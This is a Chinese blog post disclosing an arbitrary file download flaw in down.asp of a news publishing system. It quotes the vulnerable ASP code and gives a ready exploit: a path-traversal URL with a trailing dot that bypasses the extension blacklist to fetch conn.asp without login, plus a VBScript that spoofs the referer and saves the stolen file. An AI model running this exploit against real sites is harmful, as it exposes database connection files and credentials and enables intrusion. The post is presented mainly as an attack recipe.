鬼仔's Blog

===============================================================
Author:Tr4c3[dot]126[dot]com
版权所有 http://www.nspcn.org
===============================================================
#+++
影响版本：
沸腾展望新闻系统[核心:尘缘雅境] V1.1 Access版 Finish(SP3)
#+++
漏洞文件:
down.asp
#+++
关键代码：

Const adTypeBinary = 1
FileName = Request.QueryString("FileName")
if FileName = "" Then
Response.Write "无效文件名！"
Response.End
End if
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
Select Case UCase(FileExt)
Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
Response.Write "非法操作！"
Response.End
End Select
Response.Clear
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
Response.ContentType = "image/*" '对图像文件不出现下载对话框
else
Response.ContentType = "application/ms-download"
end if
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = adTypeBinary
Stream.Open

SavePath = FileUploadPath   '存放上传文件的目录
TrueFileName = SavePath & FileName

Stream.LoadFromFile Server.MapPath(TrueFileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend

#+++
Exploit:

http://www.target.com/down.asp?FileName=../conn.asp.

(不需要登录，用minibrowser伪造referer)

#+++
VBS版利用

Dim strUrl, strData
strUrl = "http://www.target.com/down.asp?FileName=../conn.asp."
Set xPost = CreateObject("Microsoft.XMLHTTP")
With xPost
.open "Get", strUrl, False
.SetRequestHeader "Referer", strUrl
.Send()
strData = .responseBody

End with
Set sGet = CreateObject("ADODB.Stream")
With sGet
.Mode = 3
.Type = 1
.Open()
.Write(strData)
.SaveToFile "Conn.asp",2
End with

set sGet = Nothing
set xPost = Nothin